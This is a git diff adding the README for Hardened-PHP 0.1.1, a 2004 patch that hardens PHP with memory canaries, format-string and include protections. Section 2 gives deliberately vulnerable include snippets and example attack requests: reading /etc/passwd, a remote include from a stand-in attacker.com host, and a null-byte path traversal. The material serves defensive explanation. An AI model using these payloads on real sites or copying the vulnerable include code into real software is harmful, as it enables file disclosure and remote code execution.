summaryrefslogtreecommitdiff
path: root/0.1.1/README
diff options
context:
space:
mode:
Diffstat (limited to '')
-rw-r--r--0.1.1/README417
1 files changed, 417 insertions, 0 deletions
diff --git a/0.1.1/README b/0.1.1/README
new file mode 100644
index 0000000..0cb3c56
--- /dev/null
+++ b/0.1.1/README
@@ -0,0 +1,417 @@
1------------------------------------------------------------------------
2
3 _ _ _ _ ___ _ _ ___
4 | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \
5 | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/
6 |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_|
7
8
9--[ Contents ]----------------------------------------------------------
10
111 - Introduction
12 1.1 - What is Hardened-PHP
13 1.2 - Hardened-PHP's history
14 1.3 - Hardened-PHP's features
15 1.4 - Installing Hardened-PHP
16
172 - The potential security problems
18 2.1 - Zend memory management
19 2.2 - Zend linked lists
20 2.3 - Format string functions
21 2.4 - Includes
22 2.4.1 - Remote includes
23 2.4.2 - Uploaded files
24 2.4.3 - String cuts
25 2.4.4 - Overlong filenames
26
273 - The Implementation
28 3.1 - System compatibility
29 3.2 - Script compatibility
30 3.3 - Speed impact
31 3.4 - Memory Usage
32
33Appendix A - Project information
34
35Appendix B - Hardened-PHP signature key
36
37
38--[ 1 - Introduction ]--------------------------------------------------
39
40PHP is still the most popular script language and therefore used on
41millions of webservers around the globus. Because of this worldwide
42distribution it is vital that PHP scripts and the PHP engine itself are
43made resistent against security exploits.
44
45The Hardened-PHP project was launched to ensure this.
46
47----[ 1.1 - What is Hardened-PHP ]--------------------------------------
48
49Hardened-PHP adds security hardening features to PHP to protect your
50servers on the one hand against a number of well known problems in
51hastily written PHP scripts and on the other hand against potential
52unknown vulnerabilities within the engine itself.
53
54----[ 1.2 - Hardened-PHP's history ]------------------------------------
55
56The idea to create a patched version of PHP which is resistent against
57a lot of attacks is maybe as old as PHP itself. In 2002 a few people
58from OpenBSD users created the PHP auditing project after I released
59my advisories aboute remote holes in PHP. The whole project was not
60really successfull. It seemed quite uncoordinated and the people all
61lost their interest because they never found anything. In the months
62since then I found several remote vulnerabilities in PHP before they
63could make it into a release version. However the codebase is quite
64large and therefore I decided to create Hardened-PHP. The project was
65pulled back several times because of lack of time.
66
67This was until the 17th of April 2004 when I released the first
68version of Hardened-PHP which had already most of the features wanted
69for the first step. The project was not publicly announced until some
70stranger submitted a story about Hardened-PHP to symlink.ch. This was
71bringing some visitors to the page which was infact a ugly page with
72nearly no information, and no documentation.
73
74A month later at the 16th May 2004 the website was redesigned. Nothing
75professional but good enough for a start. Additionally this document
76was released in its first version to have a basic documentation. On the
77same day the Hardened-PHP 0.1.1 was released with just some small fixes
78for PHP and the patch itself.
79
80----[ 1.3 - Hardened-PHP's features ]-----------------------------------
81
82Hardened-PHP provides:
83
84+ Protection of the Zend Memory Manager with canaries
85+ Protection of Zend Linked Lists with canaries
86+ Protection against internal format string exploits
87+ Protection against arbitrary code inclusion
88+ Syslog logging of attackers IP
89
90Hardened-PHP advertises itself as Hardened-PHP/x.y.z if you are running
91it as Apache module and have expose_php turned on.
92
93----[ 1.4 - Installing Hardened-PHP ]-----------------------------------
94
95The process of installing a hardened PHP starts with downloading the
96PHP version supported by the current version of Hardened-PHP from
97
98 http://www.php.net/downloads.php
99
100After downloading the tarball into your temporary installation directory
101(f.e. /home/install) it is recommended that you check the md5sum of the
102file before you continue. If the hash is correct you can start unpacking
103the tarball by issuing the command:
104
105 tar xfz php-x.y.z.tar.gz
106
107Now download the Hardened-PHP patch (and it's GPG signature) from
108
109 http://www.hardened-php.net/download.php
110
111After checking the signature with GPG you can unpack and apply the patch
112
113 gunzip hardened-php-x.y.z-a.b.c.patch.gz
114 cd php-x.y.z
115 patch -p 1 < ../hardened-php-x.y.z-a.b.c.patch
116
117From here follow the PHP manual howto install it ony your platform.
118
119
120--[ 2 - The potential security problems ]-------------------------------
121
122Because the featurelist of Hardened-PHP is quite cryptic for someone not
123into PHP and/or not into security, this chapter will provide an intro-
124duction into the problems that could arise if certain structures are
125overwritten or certain functions are used in an unsafe way.
126
127----[ 2.1 - Zend memory management ]------------------------------------
128
129When memory is allocated within PHP this is done with emalloc(). This
130function is a wrapperfunction for malloc() which implements (beside
131some things like a cache for small blocks) a double linked list of
132allocated memory blocks. This list is needed to free all allocated
133memory at the end of request.
134
135 zend_mem_header emalloc() allocates more
136 memory than requested because
137 31 30 0 it has to add 3 header fields
138 +-----------------+ to the beginning of the block
139 | p P r e v |
140 +-----------------+ It should be obvious that an
141 | p N e x t | overflow into this memory
142 +---+-------------+ will first overwrite the
143 | C + s i z e | pPrev and pNext fields which
144 +---+-------------+ <--- returned are the forward and backward
145 | | pointer pointers in the linked list
146 | | of allocated memory block.
147 | | Imagine you are able to
148 | | overwrite these fields...
149 . .
150 . d a t a . What could actually happen
151 . . to this memoryblock?
152 | | It could either be efree()ed
153 | | or erealloc()ed. In both
154 | | cases the block is taken off
155 | | linked list.
156 +-----------------+
157
158The remove operation is the standard linked list unlink common to many
159implementations of double linked lists.
160
161 p->pPrev->pNext = p->pNext AND p->pNext->pPrev = p->pPrev
162
163This allows to overwrite nearly arbitrary addresses with nearly
164arbitrary values if you control p->pPrev and p->pNext, which can lead
165to a code execution exploit.
166
167When Hardened-PHP is activated it will add so called canaries to the
168beginning and the end of each allocated block. These canaries are no
169birds but 32bit wide values which are randomly generated when the
170memory manager is started. Whenever the block is reallocated or freed
171the memory manager will check if the canary values have changed. This
172is sufficient to protect the unlink operations because an attacker
173cannot guess the random values.
174
175Hardened-PHP uses 2 canaries because this protects against an overflow
176into emalloc()ed memory AND against an overflow out of such a block.
177
178Important: It is necessary to know that 3rd party libraries used by
179PHP will NOT use emalloc() but malloc() directly. This means that heap
180overflows could be still exploitable under some conditions. But this
181check is good enough to ensure that it is not the PHP memory that is
182abused to execute arbitrary code, which is good news because some libc
183versions have very hard/or impossible to exploit implementations of
184malloc(). On those systems heap overflows in PHP would be easily
185exploitable if Hardened-PHP is not activated.
186
187----[ 2.2 - Zend linked lists ]-----------------------------------------
188
189Many internal functions within PHP make use of zend linked lists. These
190lists have a structure which is also very vulnerable to overflows. If
191an attacker would be able cause PHP to overflow a part of memory that
192contains a linked list descriptor structure it would be possible to
193overwrite the stored pointer to the linked list dtor() with a pointer
194to any memory address. This would allow code execution when the list
195is destructed.
196
197Hardened-PHP adds canaries in front of the list descriptor structure
198to protect it against an overflow. Additionally a canary is added to
199the end because sometimes the descriptors are stored in stack and the
200overflow would come from the other side. Because linked list elements
201are always in heap they only get a prefixed canary.
202
203Whenever an operation is performed on the linked list descriptor or
204one of its elements the canaries will get checked and when an overflow
205is detected the script will be aborted.
206
207----[ 2.3 - Format string functions ]-----------------------------------
208
209For a few years it is now known that format string functions can be
210abused if the format string is user supplied. This is because the %n
211specifier allows to write any values to arbitrary memory addresses.
212PHP comes with its own implementation of snprintf() and a memory self
213allocating variant spprintf(). Both functions implement the %n specifier
214which is not uses at all within PHP.
215
216Hardened-PHP when activated removes the %n specifier from the internal
217snprintf() and spprintf() functions. Additionally a macro is set to
218replace all calls to the libc snprintf() with the PHP own version. This
219means, that if someone adds a format string bug to PHP in the future,
220it won't be exploitable. (Only if he makes the mistake in snprintf()
221or spprintf() - protecting sprintf() is on the todo list)
222
223----[ 2.4 - Includes ]--------------------------------------------------
224
225Like many other languages PHP allows to include other source files into
226the main script. This is done at execution time and even allows to
227include files on remote systems, which can become a huge security risk
228if the include statements are not protected in a proper way. Actually
229this is the most often used entrypoint of hackers when they succeed in
230hacking a site running a vulnerable PHP script.
231
232Hardened-PHP includes countermeasures for the most often seen mistakes.
233
234------[ 2.4.1 - Remote includes ]---------------------------------------
235
236A script like
237
238<?php
239 include $_REQUEST['aktion'];
240?>
241
242allows the user to supply any filename to the include statement from the
243outside. This means he can simply request
244
245 /vuln.php?aktion=/etc/passwd
246
247to see your password file in his browser. It is obvious that an attacker
248who knows a way to embed PHP code into a file on your server will be
249able to execute it through this statement. (Examples are logfiles or
250session files). What is maybe new to any PHP beginner is that there is
251a feature called fopen_wrappers which allows to include a file from a
252remote system. This means if this feature is activated (which is the
253default setting) he may request
254
255 /vuln.php?aktion=http://attacker.com/his_code.dat
256
257which includes any code of his choice. It is more than obvious that this
258feature can be a great security risk for any site that runs code written
259by PHP beginners but disabling this feature could also be a bad idea.
260This is because PHP does not allow to disable remote includes separately
261from remote file support for the other file access functions.
262
263If Hardened-PHP is activated it will disallow any include filename that
264looks like an URL and will log the attempt to syslog. Any URL is maybe
265to strict and will be relaxed in a future version. The strict rule is
266the reason why the fopencookie() regression test fails when Hardened-PHP
267is running.
268
269------[ 2.4.2 - Uploaded files ]----------------------------------------
270
271If the previous example is rewritten to make use of register_globals
272
273<?php
274 include $aktion;
275?>
276
277another not so well known way to include arbitrary code is possible.
278This can be used if fopen_wrappers is turned off but register_globals
279and file_uploads are turned on. In such a situation it is suffient to
280perform a post fileupload to the vulnerable script with aktion as name
281of the file variable. Because register_globals is turned on the variable
282$aktion will contain the temporary filename of the uploaded file. Of
283course this can contain arbitrary PHP code that would get executed
284under this circumstances.
285
286Hardened-PHP will stop such attacks because it does not allow including
287an uploaded file. Like with all violations it will get logged to syslog.
288
289------[ 2.4.3 - String cuts ]-------------------------------------------
290
291Many PHP programmers believe it is sufficient to pre- and postfix some
292controlled values to the userinput to completly protect an include-
293statement. That this assumption is wrong can be seen in this example:
294
295<?php
296 include "templates/".$_REQUEST['template'].".tmpl";
297?>
298
299The author of this code thinks that it is safe to include any file with
300a .tmpl extension on the system. While this maybe is true he forgets
301(or simply does not know) that PHP strings are binary safe, which means
302that anywhere within the userinput could be an ascii NUL char. For the
303underlying filesystem function this is considered as string terminator,
304which means, that a request for
305
306 /vuln.php?template=../../../../../../../etc/passwd%00
307
308would infact include the /etc/passwd file because the %00 will truncate
309the extension ".tmpl" from the rest of the string. (This is only valid
310if magic_quotes_gpc is turned off)
311
312To protect against such attacks Hardened-PHP checks if the stringlength
313seen by the filesystem functions is equal to the binarysafe length. If
314they differ the file is not included and the attack is logged.
315
316------[ 2.4.4 - Overlong filenames ]------------------------------------
317
318When including a file Hardened-PHP checks that the supplied filename
319does not exceed the maximum path length. This is done because it doesn't
320add much overhead (for string cut protection we need strlen() anyway),
321but could protect against bufferoverflow attacks on the underlying
322filesystem functions. If a filename triggers this check it will be
323logged to syslog.
324
325
326--[ 3 - The implementation ]--------------------------------------------
327
328This chapter discusses the compatibility, speed and memory issues which
329are caused by applying the Hardened-PHP patch.
330
331----[ 3.1 - System compatibility ]--------------------------------------
332
333Hardened-PHP is mainly developed on linux systems. This means new
334versions may not compile on your operating system. I strongly recommend
335reporting such problems to the Hardened-PHP users mailinglist.
336
337----[ 3.2 - Script compatibility ]--------------------------------------
338
339Hardened-PHP passes the PHP 'make test' regression tests with the
340exception of the fopencookie() test. This is not caused by a bug within
341the implementation but by design of the include() protection feature.
342At the time of writing this document Hardened-PHP simply forbids all
343stream includes to protect against remote file inclusion. Without this
344feature the fopencookie() test cannot work and therefore fails.
345
346Future versions of Hardened-PHP will partly restore stream inclusion
347support, to work around this limitation.
348
349----[ 3.3 - Speed impact ]----------------------------------------------
350
351It is believed that the few additional clock cycles spent on the extra
352sanity checks are marginal in comparison to the overhead which is caused
353by the protected functions within the memory management and filesystem
354access functions.
355
356A complete benchmark will be added to this section once it is achieved.
357
358----[ 3.4 - Memory usage ]----------------------------------------------
359
360Hardened-PHP adds canary protection to every allocated block of memory,
361to every linked list and to every linked list element. Additional every
362request remembers the triggering IP address. Combined this means an
363increased of used memory.
364
365This section will be filled with a memory usage benchmark in the future.
366
367
368--[ Appendix A - Project information ]----------------------------------
369
370At the time of writing Hardened-PHP is hosted on Sourceforge.
371
372The official homepage of Hardened-PHP is:
373
374http://www.hardened-php.org
375
376and the Sourceforge project page is reachable under:
377
378http://www.sourceforge.net/projects/hardened-php
379
380You can reach me (the author) directly through the email address
381sesser@php.net . When writing to this address please include the string
382Hardened-PHP in the subject line due to the amount of spam.
383
384You can use this address also to donate money to the project via Paypal.
385
386
387--[ Appendix B - Hardened-PHP signature key ]---------------------------
388
389To ensure authenticity of Hardened-PHP releases they are signed
390with the following GPG key:
391
392-----BEGIN PGP PUBLIC KEY BLOCK-----
393Version: GnuPG v1.0.6 (GNU/Linux)
394Comment: For info see http://www.gnupg.org
395
396mQGiBECBdjoRBAC5HMCaoPx30w6N4JLx09RfBLx6bo0//JWAaJKpjpvW1FviFNYs
397PXkyGrcrhhVxoh5dC8ByQgWSbT8XMpUv5tPQNwxO0ITbbAU9ipgg5BVDfc82/XaK
398Jr1jq243EQJN7rsce6PF13LIoxQ+LBdYHY6vw9a+9/IO5LMjNw7zW+5pswCg8M0Q
3992jnKZaIAhVCS27LJaUQaL68EAIl6I19HRE7RTJbhY0ZIrKGUKfx+KX0gHb8kXu6q
400WV5fmtO5fH34TrojhgUqBayLtwsxtXr+8QBMz0XNRDuebja8ZaVyLTx+EpI8Dyfm
401ob7vzlS3qJoNrW3h1kse50r/ilm87aB0JP6vwPlZDPC1lu2ZAGSUYEHml5dOmyCi
4025Z8tBACKFry60HlvWQzbnHCSSyMTIcagMnkVuyDDIR63RAqhEmyE7GXh2sYh6aPt
403AWag9ADQVFvTBhx+ssU5gpPahJr29QTrC4VCNTaO03O16qLmqkTKWHZCZbd4EPTg
404trswDZc1PLVwbP0j5RlH8/tQrbY9lMtuS5rUxtaFCLw4ZPWrh7QaSGFyZGVuZWQt
405UEhQIFNpZ25hdHVyZSBLZXmIXQQTEQIAHQUCQIF2OgUJAeEzgAULBwoDBAMVAwID
406FgIBAheAAAoJEEQ5FMwKhkqhSPAAnjXReigGNJXBsoX7z8/EvthX0cTIAJ9cSPil
407WwaTl2vtz7kyguZzRpZz8rkBDQRAgXY8EAQApLYBh8UCMUhDy5bR6Oj4vhMY6cJ4
408pIvwuaHbTXauBXS8UV5MwWvf/qcecM61Qe9SlZqWDTfT47tLgtR16PxmVhPJtQxH
409aRkrxXTKDu9P1evD1zX61/eNhDZw9+MPYMokxZMYS94s5uv/upKZZwu8XzdJtrK3
410YtaNAMn3tXQUKZMAAwUD/ieRxef28ZZ68emOe8KNfd5GP+8Ym7dkiidPBRLqgGmf
411V9AZbMdA2F8VfLuD6B5T5Lj9J35eTKijwLHDD5svl+2zPOSEtUB8mUVp2765kqeb
412jFW7WteKB9pEq59mfgHW5p5gnu66Fh5bggf8rKELj+0hw44F0IEXCQwyHlJ/3lQS
413iEwEGBECAAwFAkCBdjwFCQHhM4AACgkQRDkUzAqGSqG/wwCg7LlZpWdRL5QgUms5
414VVh+fdpHgPIAn3SIXWtsAS2T0Z0V6pjhSQz30ams
415=Gq1L
416-----END PGP PUBLIC KEY BLOCK-----
417